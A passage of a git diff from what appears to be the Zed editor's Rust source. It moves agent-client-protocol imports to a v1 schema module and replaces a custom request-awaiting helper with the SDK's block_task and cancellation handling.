@@ -3,7 +3,7 @@ use std::sync::Arc;
 
 use super::symbol_locator::{LocationDisplay, SymbolLocator};
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use gpui::{App, Entity, SharedString, Task};
 use project::Project;
 use schemars::JsonSchema;
diff --git a/crates/agent/src/tools/grep_tool.rs b/crates/agent/src/tools/grep_tool.rs
index 00a8074c249241..748642b3cda6c1 100644
--- a/crates/agent/src/tools/grep_tool.rs
+++ b/crates/agent/src/tools/grep_tool.rs
@@ -1,5 +1,5 @@
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use futures::{FutureExt as _, StreamExt};
 use gpui::{App, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/list_agents_and_models_tool.rs b/crates/agent/src/tools/list_agents_and_models_tool.rs
index 5c9b2b22df4486..c4fe9c7e33c3c9 100644
--- a/crates/agent/src/tools/list_agents_and_models_tool.rs
+++ b/crates/agent/src/tools/list_agents_and_models_tool.rs
@@ -1,4 +1,4 @@
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use gpui::{App, SharedString, Task};
 use language_model::LanguageModelToolResultContent;
diff --git a/crates/agent/src/tools/list_directory_tool.rs b/crates/agent/src/tools/list_directory_tool.rs
index 637c625bce0e09..5fe605176a8f1b 100644
--- a/crates/agent/src/tools/list_directory_tool.rs
+++ b/crates/agent/src/tools/list_directory_tool.rs
@@ -3,7 +3,7 @@ use super::tool_permissions::{
     resolve_global_skill_path, resolve_project_path,
 };
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Context as _, Result, anyhow};
 use fs::Fs;
 use futures::StreamExt as _;
diff --git a/crates/agent/src/tools/move_path_tool.rs b/crates/agent/src/tools/move_path_tool.rs
index 8156d0714a7e73..57eafc7f9c03ad 100644
--- a/crates/agent/src/tools/move_path_tool.rs
+++ b/crates/agent/src/tools/move_path_tool.rs
@@ -7,7 +7,7 @@ use crate::{
     AgentTool, ToolCallEventStream, ToolInput, ToolPermissionDecision,
     authorize_with_sensitive_settings, decide_permission_for_paths,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use futures::FutureExt as _;
 use gpui::{App, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/read_file_tool.rs b/crates/agent/src/tools/read_file_tool.rs
index cf075d74a2954c..0c5996a6f6977f 100644
--- a/crates/agent/src/tools/read_file_tool.rs
+++ b/crates/agent/src/tools/read_file_tool.rs
@@ -1,5 +1,5 @@
 use action_log::ActionLog;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Context as _, Result, anyhow};
 use futures::FutureExt as _;
 use gpui::{App, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/rename_tool.rs b/crates/agent/src/tools/rename_tool.rs
index d05b9872b8c4c2..46e1bddc8923e9 100644
--- a/crates/agent/src/tools/rename_tool.rs
+++ b/crates/agent/src/tools/rename_tool.rs
@@ -1,7 +1,7 @@
 use std::fmt::Write;
 use std::sync::Arc;
 
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use collections::HashSet;
 use gpui::{App, Entity, SharedString, Task};
 use project::Project;
diff --git a/crates/agent/src/tools/skill_tool.rs b/crates/agent/src/tools/skill_tool.rs
index 24714e637c731a..92efb4596041a5 100644
--- a/crates/agent/src/tools/skill_tool.rs
+++ b/crates/agent/src/tools/skill_tool.rs
@@ -1,4 +1,4 @@
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_skills::Skill;
 use anyhow::Result;
 use gpui::{App, AsyncApp, SharedString, Task};
@@ -704,8 +704,8 @@ mod tests {
         // Approve once and confirm the tool then completes successfully.
         auth.response
             .send(acp_thread::SelectedPermissionOutcome::new(
-                agent_client_protocol::schema::PermissionOptionId::new("allow"),
-                agent_client_protocol::schema::PermissionOptionKind::AllowOnce,
+                agent_client_protocol::schema::v1::PermissionOptionId::new("allow"),
+                agent_client_protocol::schema::v1::PermissionOptionKind::AllowOnce,
             ))
             .unwrap();
 
diff --git a/crates/agent/src/tools/spawn_agent_tool.rs b/crates/agent/src/tools/spawn_agent_tool.rs
index 32650ede909042..9fa26bf29ad48f 100644
--- a/crates/agent/src/tools/spawn_agent_tool.rs
+++ b/crates/agent/src/tools/spawn_agent_tool.rs
@@ -1,5 +1,5 @@
 use acp_thread::{SUBAGENT_SESSION_INFO_META_KEY, SubagentSessionInfo};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use gpui::{App, SharedString, Task};
 use language_model::LanguageModelToolResultContent;
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 898499a55af1b5..61c0ee47cc5c62 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -1,4 +1,4 @@
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use futures::FutureExt as _;
 use gpui::{App, AsyncApp, Entity, SharedString, Task};
diff --git a/crates/agent/src/tools/tool_permissions.rs b/crates/agent/src/tools/tool_permissions.rs
index 5fb1ade6abcbc4..d658a0470d1d39 100644
--- a/crates/agent/src/tools/tool_permissions.rs
+++ b/crates/agent/src/tools/tool_permissions.rs
@@ -2,7 +2,7 @@ use crate::{
     Thread, ToolCallEventStream, ToolPermissionContext, ToolPermissionDecision,
     decide_permission_for_path,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_skills::is_agents_skills_path;
 use anyhow::{Result, anyhow};
 use fs::Fs;
diff --git a/crates/agent/src/tools/web_search_tool.rs b/crates/agent/src/tools/web_search_tool.rs
index 2938cee3e1d80f..73ac052c346f32 100644
--- a/crates/agent/src/tools/web_search_tool.rs
+++ b/crates/agent/src/tools/web_search_tool.rs
@@ -1,7 +1,7 @@
 use std::sync::Arc;
 
 use crate::{AgentTool, ToolCallEventStream, ToolInput};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use cloud_llm_client::WebSearchResponse;
 use futures::FutureExt as _;
diff --git a/crates/agent/src/tools/write_file_tool.rs b/crates/agent/src/tools/write_file_tool.rs
index 0f8d96db0e4004..7c0c78927378df 100644
--- a/crates/agent/src/tools/write_file_tool.rs
+++ b/crates/agent/src/tools/write_file_tool.rs
@@ -4,7 +4,7 @@ use super::edit_session::{
 };
 use crate::{AgentTool, Thread, ToolCallEventStream, ToolInput, ToolInputPayload};
 use action_log::ActionLog;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use futures::FutureExt as _;
 use gpui::{App, AsyncApp, Entity, Task, WeakEntity};
 use language::LanguageRegistry;
diff --git a/crates/agent_servers/src/acp.rs b/crates/agent_servers/src/acp.rs
index d5f5ae376ca6f5..f60c8b15196873 100644
--- a/crates/agent_servers/src/acp.rs
+++ b/crates/agent_servers/src/acp.rs
@@ -3,10 +3,11 @@ use acp_thread::{
     AgentSessionListResponse,
 };
 use action_log::ActionLog;
-use agent_client_protocol::schema::{self as acp, ErrorCode};
-use agent_client_protocol::{
-    Agent, Client, ConnectionTo, JsonRpcResponse, Lines, Responder, SentRequest,
+use agent_client_protocol::schema::{
+    ProtocolVersion,
+    v1::{self as acp, ErrorCode},
 };
+use agent_client_protocol::{Agent, Client, ConnectionTo, JsonRpcResponse, Lines, Responder};
 use anyhow::anyhow;
 use async_channel;
 use collections::{HashMap, HashSet};
@@ -26,7 +27,6 @@ use std::path::PathBuf;
 use std::process::{ExitStatus, Stdio};
 use std::rc::Rc;
 use std::sync::{Arc, Mutex};
-use std::time::Duration;
 use std::{any::Any, cell::RefCell, collections::VecDeque};
 use task::{Shell, ShellBuilder, SpawnInTerminal};
 use thiserror::Error;
@@ -45,8 +45,6 @@ use crate::GEMINI_ID;
 
 pub const GEMINI_TERMINAL_AUTH_METHOD_ID: &str = "spawn-gemini-cli";
 const MAX_DEBUG_BACKLOG_MESSAGES: usize = 2000;
-const ACP_RESPONSE_CHANNEL_CANCELLED: &str =
-    "response channel cancelled — connection may have dropped";
 
 #[derive(Clone, Copy, Debug, PartialEq, Eq)]
 pub enum AcpDebugMessageDirection {
@@ -231,35 +229,6 @@ fn exited_load_error_with_stderr(status: ExitStatus, debug_log: &AcpDebugLog) ->
     }
 }
 
-/// Awaits the response to an ACP request from a GPUI foreground task.
-///
-/// The ACP SDK offers two ways to consume a [`SentRequest`]:
-///   - [`SentRequest::block_task`]: linear `.await` inside a spawned task.
-///   - [`SentRequest::on_receiving_result`]: a callback invoked when the
-///     response arrives, with the guarantee that no other inbound messages
-///     are processed while the callback runs. This is the recommended form
-///     inside SDK handler callbacks, where [`block_task`] would deadlock.
-///
-/// We use `on_receiving_result` with a oneshot bridge here (rather than
-/// [`block_task`]) so that our handler-side code paths can share a single
-/// request-awaiting helper. The SDK callback itself is trivial (one channel
-/// send) so the extra ordering guarantee it imposes on the dispatch loop is
-/// negligible.
-fn into_foreground_future<T: JsonRpcResponse>(
-    sent: SentRequest<T>,
-) -> impl Future<Output = Result<T, acp::Error>> {
-    let (tx, rx) = futures::channel::oneshot::channel();
-    let spawn_result = sent.on_receiving_result(async move |result| {
-        tx.send(result).ok();
-        Ok(())
-    });
-    async move {
-        spawn_result?;
-        rx.await
-            .map_err(|_| acp::Error::internal_error().data(ACP_RESPONSE_CHANNEL_CANCELLED))?
-    }
-}
-
 #[derive(Debug, Error)]
 #[error("Unsupported version")]
 pub struct UnsupportedVersion;
@@ -580,7 +549,9 @@ impl AgentSessionList for AcpSessionList {
             let acp_request = acp::ListSessionsRequest::new()
                 .cwd(request.cwd)
                 .cursor(request.cursor);
-            let response = into_foreground_future(conn.send_request(acp_request))
+            let response = conn
+                .send_request(acp_request)
+                .block_task()
                 .await
                 .map_err(map_acp_error)?;
             Ok(AgentSessionListResponse {
@@ -622,7 +593,8 @@ impl AgentSessionList for AcpSessionList {
         let updates_tx = self.updates_tx.clone();
         let session_id = session_id.clone();
         cx.foreground_executor().spawn(async move {
-            into_foreground_future(conn.send_request(acp::DeleteSessionRequest::new(session_id)))
+            conn.send_request(acp::DeleteSessionRequest::new(session_id))
+                .block_task()
                 .await
                 .map_err(map_acp_error)?;
             updates_tx
@@ -670,7 +642,7 @@ pub async fn connect(
     Ok(Rc::new(conn) as _)
 }
 
-const MINIMUM_SUPPORTED_VERSION: acp::ProtocolVersion = acp::ProtocolVersion::V1;
+const MINIMUM_SUPPORTED_VERSION: ProtocolVersion = ProtocolVersion::V1;
 
 /// Build a `Client` connection over `transport` with Zed's full
 /// agent→client handler set wired up.
@@ -947,9 +919,9 @@ impl AcpConnection {
             }
         });
 
-        let initialize_response = into_foreground_future(
-            connection.send_request(
-                acp::InitializeRequest::new(acp::ProtocolVersion::V1)
+        let initialize_response = connection
+            .send_request(
+                acp::InitializeRequest::new(ProtocolVersion::V1)
                     .client_capabilities(
                         acp::ClientCapabilities::new()
                             .fs(acp::FileSystemCapabilities::new()
@@ -966,23 +938,16 @@ impl AcpConnection {
                         acp::Implementation::new("zed", version)
                             .title(release_channel.map(ToOwned::to_owned)),
                     ),
-            ),
-        )
-        .boxed_local();
+            )
+            .block_task()
+            .boxed_local();
         let (response, status_fut) =
             match futures::future::select(initialize_response, status_fut).await {
                 futures::future::Either::Left((Ok(response), status_fut)) => (response, status_fut),
                 futures::future::Either::Left((Err(error), status_fut)) => {
-                    let response_channel_cancelled = error.code == ErrorCode::InternalError
-                        && error.data.as_ref().and_then(|data| data.as_str())
-                            == Some(ACP_RESPONSE_CHANNEL_CANCELLED);
-                    if !response_channel_cancelled {
-                        return Err(error.into());
-                    }
-
                     let timer = cx
                         .background_executor()
-                        .timer(Duration::from_millis(250))
+                        .timer(std::time::Duration::from_millis(250))
                         .boxed_local();
                     if let futures::future::Either::Left((load_error, _timer)) =
                         futures::future::select(status_fut, timer).await
@@ -1334,15 +1299,15 @@ impl AcpConnection {
                 let config_opts = config_options.clone();
                 let conn = self.connection.clone();
                 async move |_| {
-                    let result = into_foreground_future(conn.send_request(
-                        acp::SetSessionConfigOptionRequest::new(
+                    let result = conn
+                        .send_request(acp::SetSessionConfigOptionRequest::new(
                             session_id,
                             config_id_clone.clone(),
                             default_value_id,
-                        ),
-                    ))
-                    .await
-                    .log_err();
+                        ))
+                        .block_task()
+                        .await
+                        .log_err();
 
                     if result.is_none() {
                         if let Some(initial) = initial_value {
@@ -1544,11 +1509,10 @@ impl AgentConnection for AcpConnection {
         let mcp_servers = mcp_servers_for_project(&project, cx);
 
         cx.spawn(async move |cx| {
-            let response = into_foreground_future(
-                self.connection.send_request(
-                    directories.into_new_session_request(mcp_servers),
-                ),
-            )
+            let response = self
+                .connection
+                .send_request(directories.into_new_session_request(mcp_servers))
+                .block_task()
             .await
             .map_err(map_acp_error)?;
 
@@ -1572,12 +1536,12 @@ impl AgentConnection for AcpConnection {
                             let modes = modes.clone();
                             let conn = self.connection.clone();
                             async move |_| {
-                                let result = into_foreground_future(
-                                    conn.send_request(acp::SetSessionModeRequest::new(
+                                let result = conn
+                                    .send_request(acp::SetSessionModeRequest::new(
                                         session_id,
                                         default_mode,
-                                    )),
-                                )
+                                    ))
+                                    .block_task()
                                 .await
                                 .log_err();
 
@@ -1681,11 +1645,13 @@ impl AgentConnection for AcpConnection {
             title,
             move |connection, session_id, directories| {
                 Box::pin(async move {
-                    let response = into_foreground_future(connection.send_request(
-                        directories.into_load_session_request(session_id.clone(), mcp_servers),
-                    ))
-                    .await
-                    .map_err(map_acp_error)?;
+                    let response = connection
+                        .send_request(
+                            directories.into_load_session_request(session_id.clone(), mcp_servers),
+                        )
+                        .block_task()
+                        .await
+                        .map_err(map_acp_error)?;
                     Ok(SessionConfigResponse {
                         modes: response.modes,
                         config_options: response.config_options,
@@ -1723,11 +1689,14 @@ impl AgentConnection for AcpConnection {
             title,
             move |connection, session_id, directories| {
                 Box::pin(async move {
-                    let response = into_foreground_future(connection.send_request(
-                        directories.into_resume_session_request(session_id.clone(), mcp_servers),
-                    ))
-                    .await
-                    .map_err(map_acp_error)?;
+                    let response = connection
+                        .send_request(
+                            directories
+                                .into_resume_session_request(session_id.clone(), mcp_servers),
+                        )
+                        .block_task()
+                        .await
+                        .map_err(map_acp_error)?;
                     Ok(SessionConfigResponse {
                         modes: response.modes,
                         config_options: response.config_options,
@@ -1775,10 +1744,9 @@ impl AgentConnection for AcpConnection {
                 let conn = self.connection.clone();
                 let session_id = session_id.clone();
                 return cx.foreground_executor().spawn(async move {
-                    into_foreground_future(
-                        conn.send_request(acp::CloseSessionRequest::new(session_id)),
-                    )
-                    .await?;
+                    conn.send_request(acp::CloseSessionRequest::new(session_id))
+                        .block_task()
+                        .await?;
                     Ok(())
                 });
             }
@@ -1802,10 +1770,9 @@ impl AgentConnection for AcpConnection {
         let conn = self.connection.clone();
         let session_id = session_id.clone();
         cx.foreground_executor().spawn(async move {
-            into_foreground_future(
-                conn.send_request(acp::CloseSessionRequest::new(session_id.clone())),
-            )
-            .await?;
+            conn.send_request(acp::CloseSessionRequest::new(session_id.clone()))
+                .block_task()
+                .await?;
             Ok(())
         })
     }
@@ -1854,7 +1821,8 @@ impl AgentConnection for AcpConnection {
     fn authenticate(&self, method_id: acp::AuthMethodId, cx: &mut App) -> Task<Result<()>> {
         let conn = self.connection.clone();
         cx.foreground_executor().spawn(async move {
-            into_foreground_future(conn.send_request(acp::AuthenticateRequest::new(method_id)))
+            conn.send_request(acp::AuthenticateRequest::new(method_id))
+                .block_task()
                 .await?;
             Ok(())
         })
@@ -1871,7 +1839,9 @@ impl AgentConnection for AcpConnection {
 
         let conn = self.connection.clone();
         cx.foreground_executor().spawn(async move {
-            into_foreground_future(conn.send_request(acp::LogoutRequest::new())).await?;
+            conn.send_request(acp::LogoutRequest::new())
+                .block_task()
+                .await?;
             Ok(())
         })
     }
@@ -1886,7 +1856,7 @@ impl AgentConnection for AcpConnection {
         let sessions = self.sessions.clone();
         let session_id = params.session_id.clone();
         cx.foreground_executor().spawn(async move {
-            let result = into_foreground_future(conn.send_request(params)).await;
+            let result = conn.send_request(params).block_task().await;
 
             let mut suppress_abort_err = false;
 
@@ -2410,10 +2380,10 @@ pub mod test_support {
             .await
             .context("failed to receive fake ACP connection handle")?;
 
-        let response = into_foreground_future(
-            client_conn.send_request(acp::InitializeRequest::new(acp::ProtocolVersion::V1)),
-        )
-        .await?;
+        let response = client_conn
+            .send_request(acp::InitializeRequest::new(ProtocolVersion::V1))
+            .block_task()
+            .await?;
 
         let agent_capabilities = response.agent_capabilities;
 
@@ -3220,11 +3190,11 @@ mod tests {
             .await
             .expect("failed to receive ACP connection handle");
 
-        let response = into_foreground_future(
-            client_conn.send_request(acp::InitializeRequest::new(acp::ProtocolVersion::V1)),
-        )
-        .await
-        .expect("failed to initialize ACP connection");
+        let response = client_conn
+            .send_request(acp::InitializeRequest::new(ProtocolVersion::V1))
+            .block_task()
+            .await
+            .expect("failed to initialize ACP connection");
 
         let agent_capabilities = response.agent_capabilities;
 
@@ -3725,10 +3695,10 @@ impl acp_thread::AgentSessionModes for AcpSessionModes {
         };
         let state = self.state.clone();
         cx.foreground_executor().spawn(async move {
-            let result = into_foreground_future(
-                connection.send_request(acp::SetSessionModeRequest::new(session_id, mode_id)),
-            )
-            .await;
+            let result = connection
+                .send_request(acp::SetSessionModeRequest::new(session_id, mode_id))
+                .block_task()
+                .await;
 
             if result.is_err() {
                 state.borrow_mut().current_mode_id = old_mode_id;
@@ -3767,10 +3737,12 @@ impl acp_thread::AgentSessionConfigOptions for AcpSessionConfigOptions {
         let watch_tx = self.watch_tx.clone();
 
         cx.foreground_executor().spawn(async move {
-            let response = into_foreground_future(connection.send_request(
-                acp::SetSessionConfigOptionRequest::new(session_id, config_id, value),
-            ))
-            .await?;
+            let response = connection
+                .send_request(acp::SetSessionConfigOptionRequest::new(
+                    session_id, config_id, value,
+                ))
+                .block_task()
+                .await?;
 
             *state.borrow_mut() = response.config_options.clone();
             watch_tx.borrow_mut().send(()).ok();
@@ -3810,6 +3782,15 @@ fn respond_err<T: JsonRpcResponse>(responder: Responder<T>, err: acp::Error) {
     responder.respond_with_error(err).log_err();
 }
 
+fn respond_result<T: JsonRpcResponse>(responder: Responder<T>, result: Result<T, acp::Error>) {
+    match result {
+        Ok(response) => {
+            responder.respond(response).log_err();
+        }
+        Err(err) => respond_err(responder, err),
+    }
+}
+
 fn handle_request_permission(
     args: acp::RequestPermissionRequest,
     responder: Responder<acp::RequestPermissionResponse>,
@@ -3821,6 +3802,8 @@ fn handle_request_permission(
         Err(e) => return respond_err(responder, e),
     };
 
+    let cancellation = responder.cancellation();
+    let tool_call_id = args.tool_call.tool_call_id.clone();
     cx.spawn(async move |cx| {
         let result: Result<_, acp::Error> = async {
             let task = thread
@@ -3833,7 +3816,9 @@ fn handle_request_permission(
                     )
                 })
                 .flatten_acp()?;
-            Ok(task.await)
+            cancellation
+                .run_until_cancelled(async { Ok(task.await) })
+                .await
         }
         .await;
 
@@ -3843,7 +3828,16 @@ fn handle_request_permission(
                     .respond(acp::RequestPermissionResponse::new(outcome.into()))
                     .log_err();
             }
-            Err(e) => respond_err(responder, e),
+            Err(e) => {
+                if e.code == ErrorCode::RequestCancelled {
+                    thread
+                        .update(cx, |thread, cx| {
+                            thread.cancel_tool_call_authorization(&tool_call_id, cx)
+                        })
+                        .log_err();
+                }
+                respond_err(responder, e)
+            }
         }
     })
     .detach();
@@ -3896,24 +3890,19 @@ fn handle_read_text_file(
     };
 
     cx.spawn(async move |cx| {
-        let result: Result<_, acp::Error> = async {
-            thread
-                .update(cx, |thread, cx| {
-                    thread.read_text_file(args.path, args.line, args.limit, false, cx)
-                })
-                .map_err(acp::Error::from)?
-                .await
-        }
-        .await;
+        let cancellation = responder.cancellation();
+        let result = cancellation
+            .run_until_cancelled(async {
+                thread
+                    .update(cx, |thread, cx| {
+                        thread.read_text_file(args.path, args.line, args.limit, false, cx)
+                    })
+                    .map_err(acp::Error::from)?
+                    .await
+            })
+            .await;
 
-        match result {
-            Ok(content) => {
-                responder
-                    .respond(acp::ReadTextFileResponse::new(content))
-                    .log_err();
-            }
-            Err(e) => respond_err(responder, e),
-        }
+        respond_result(responder, result.map(acp::ReadTextFileResponse::new));
     })
     .detach();
 }
@@ -4224,25 +4213,20 @@ fn handle_wait_for_terminal_exit(
     };
 
     cx.spawn(async move |cx| {
-        let result: Result<_, acp::Error> = async {
-            let exit_status = thread
-                .update(cx, |thread, cx| {
-                    anyhow::Ok(thread.terminal(args.terminal_id)?.read(cx).wait_for_exit())
-                })
-                .flatten_acp()?
-                .await;
-            Ok(exit_status)
-        }
-        .await;
+        let cancellation = responder.cancellation();
+        let result = cancellation
+            .run_until_cancelled(async {
+                let exit_status = thread
+                    .update(cx, |thread, cx| {
+                        anyhow::Ok(thread.terminal(args.terminal_id)?.read(cx).wait_for_exit())
+                    })
+                    .flatten_acp()?
+                    .await;
+                Ok(exit_status)
+            })
+            .await;
 
-        match result {
-            Ok(exit_status) => {
-                responder
-                    .respond(acp::WaitForTerminalExitResponse::new(exit_status))
-                    .log_err();
-            }
-            Err(e) => respond_err(responder, e),
-        }
+        respond_result(responder, result.map(acp::WaitForTerminalExitResponse::new));
     })
     .detach();
 }
diff --git a/crates/agent_servers/src/agent_servers.rs b/crates/agent_servers/src/agent_servers.rs
index 8ef9325099efbe..9d65a2a8e295cd 100644
--- a/crates/agent_servers/src/agent_servers.rs
+++ b/crates/agent_servers/src/agent_servers.rs
@@ -12,7 +12,7 @@ use http_client::read_no_proxy_from_env;
 use project::{AgentId, Project, agent_server_store::AgentServerStore};
 
 use acp_thread::AgentConnection;
-use agent_client_protocol::schema as acp_schema;
+use agent_client_protocol::schema::v1 as acp_schema;
 use anyhow::Result;
 use gpui::{App, AppContext, Entity, Task};
 use settings::SettingsStore;
diff --git a/crates/agent_servers/src/custom.rs b/crates/agent_servers/src/custom.rs
index 376b5f1c2f9428..1fe92dc9c75daf 100644
--- a/crates/agent_servers/src/custom.rs
+++ b/crates/agent_servers/src/custom.rs
@@ -1,6 +1,6 @@
 use crate::{AgentServer, AgentServerDelegate, load_proxy_env};
 use acp_thread::AgentConnection;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::{Context as _, Result};
 use collections::HashSet;
 use fs::Fs;
diff --git a/crates/agent_servers/src/e2e_tests.rs b/crates/agent_servers/src/e2e_tests.rs
index 0d26655555bb12..6fb97b915e77d5 100644
--- a/crates/agent_servers/src/e2e_tests.rs
+++ b/crates/agent_servers/src/e2e_tests.rs
@@ -1,6 +1,6 @@
 use crate::{AgentServer, AgentServerDelegate};
 use acp_thread::{AcpThread, AgentThreadEntry, ToolCall, ToolCallStatus};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use client::RefreshLlmTokenListener;
 use futures::{FutureExt, StreamExt, channel::mpsc, select};
 use gpui::AppContext;
@@ -379,7 +379,7 @@ macro_rules! common_e2e_tests {
             async fn tool_call_with_permission(cx: &mut ::gpui::TestAppContext) {
                 $crate::e2e_tests::test_tool_call_with_permission(
                     $server,
-                    ::agent_client_protocol::schema::PermissionOptionId::new($allow_option_id),
+                    ::agent_client_protocol::schema::v1::PermissionOptionId::new($allow_option_id),
                     cx,
                 )
                 .await;
diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 96ee16fda42db0..da5fa0ce17da7f 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -12,7 +12,7 @@ use std::{
 
 use acp_thread::{AcpThread, AcpThreadEvent, MentionUri, ThreadStatus, line_range_suffix};
 use agent::{ContextServerRegistry, SharedThread, ThreadStore};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_servers::AgentServer;
 use agent_settings::UserAgentsMd;
 use collections::HashSet;
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 913793860523d3..6df1d366ea8e95 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -40,7 +40,7 @@ use std::rc::Rc;
 use std::sync::Arc;
 
 use ::ui::IconName;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::{AgentProfileId, AgentSettings};
 use command_palette_hooks::CommandPaletteFilter;
 use editor::{Editor, SelectionEffects, scroll::Autoscroll};
diff --git a/crates/agent_ui/src/completion_provider.rs b/crates/agent_ui/src/completion_provider.rs
index b676bc3c3e838a..d25eae39064cea 100644
--- a/crates/agent_ui/src/completion_provider.rs
+++ b/crates/agent_ui/src/completion_provider.rs
@@ -7,7 +7,7 @@ use std::sync::atomic::AtomicBool;
 use crate::DEFAULT_THREAD_TITLE;
 use crate::thread_metadata_store::{ThreadMetadata, ThreadMetadataStore};
 use acp_thread::MentionUri;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Result;
 use editor::{CompletionProvider, Editor, code_context_menus::COMPLETION_MENU_MAX_WIDTH};
 use futures::FutureExt as _;
diff --git a/crates/agent_ui/src/config_options.rs b/crates/agent_ui/src/config_options.rs
index 1dea1c01a5c4cf..4d9f218bffc451 100644
--- a/crates/agent_ui/src/config_options.rs
+++ b/crates/agent_ui/src/config_options.rs
@@ -1,7 +1,7 @@
 use std::{cmp::Reverse, rc::Rc, sync::Arc};
 
 use acp_thread::AgentSessionConfigOptions;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_servers::AgentServer;
 
 use collections::HashSet;
diff --git a/crates/agent_ui/src/conversation_view.rs b/crates/agent_ui/src/conversation_view.rs
index ce01dcfc01a0c7..3461ed83a66bd3 100644
--- a/crates/agent_ui/src/conversation_view.rs
+++ b/crates/agent_ui/src/conversation_view.rs
@@ -9,7 +9,7 @@ use action_log::{ActionLog, ActionLogTelemetry, DiffStats};
 use agent::{
     NativeAgentServer, NativeAgentSessionList, NoModelConfiguredError, SharedThread, ThreadStore,
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 #[cfg(test)]
 use agent_servers::AgentServerDelegate;
 use agent_servers::{AgentServer, GEMINI_TERMINAL_AUTH_METHOD_ID};
diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index b938a2572ae43f..91aa12b63a0a99 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -5,7 +5,7 @@ use crate::{
     open_abs_path_at_point,
     thread_metadata_store::{ThreadId, ThreadMetadataStore},
 };
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use std::cell::RefCell;
 
 use acp_thread::{
diff --git a/crates/agent_ui/src/draft_prompt_store.rs b/crates/agent_ui/src/draft_prompt_store.rs
index 1b485ce5c888a2..ad053af534e07f 100644
--- a/crates/agent_ui/src/draft_prompt_store.rs
+++ b/crates/agent_ui/src/draft_prompt_store.rs
@@ -9,7 +9,7 @@
 //! the format we persist.
 
 use agent::ZED_AGENT_ID;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use anyhow::Context as _;
 use db::kvp::KeyValueStore;
 use gpui::{App, AppContext as _, Entity, Task};
diff --git a/crates/agent_ui/src/entry_view_state.rs b/crates/agent_ui/src/entry_view_state.rs
index f77baba6470183..fd1b2867f0baf5 100644
--- a/crates/agent_ui/src/entry_view_state.rs
+++ b/crates/agent_ui/src/entry_view_state.rs
@@ -2,7 +2,7 @@ use std::ops::Range;
 
 use acp_thread::{AcpThread, AgentThreadEntry, AssistantMessageChunk};
 use agent::ThreadStore;
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_settings::AgentSettings;
 use collections::{HashMap, HashSet};
 use editor::{Editor, EditorEvent, EditorMode, MinimapVisibility, SizingBehavior};
@@ -690,7 +690,7 @@ mod tests {
     use std::sync::Arc;
 
     use acp_thread::{AgentConnection, StubAgentConnection};
-    use agent_client_protocol::schema as acp;
+    use agent_client_protocol::schema::v1 as acp;
     use buffer_diff::{DiffHunkStatus, DiffHunkStatusKind};
     use editor::RowInfo;
     use fs::FakeFs;
diff --git a/crates/agent_ui/src/mention_set.rs b/crates/agent_ui/src/mention_set.rs
index 6fddacc3279458..cf3bf02b78c170 100644
--- a/crates/agent_ui/src/mention_set.rs
+++ b/crates/agent_ui/src/mention_set.rs
@@ -1,7 +1,7 @@
 use crate::diagnostics::{DiagnosticsOptions, codeblock_fence_for_path, collect_diagnostics};
 use acp_thread::{MentionUri, selection_name};
 use agent::{ThreadStore, outline};
-use agent_client_protocol::schema as acp;
+use agent_client_protocol::schema::v1 as acp;
 use agent_servers::{AgentServer, AgentServerDelegate};
 use anyhow::{Context as _, Result, anyhow};
 use collections::{HashMap, HashSet};
diff --git a/crates/agent_ui/src/message_editor.rs b/crates/agent_ui/src/message_editor.rs
index 0b38a944d522fa..f262e44f506b03 100644
--- a/crates/agent_ui/src/message_editor.rs
+++ b/crates/agent_ui/src/message_editor.rs
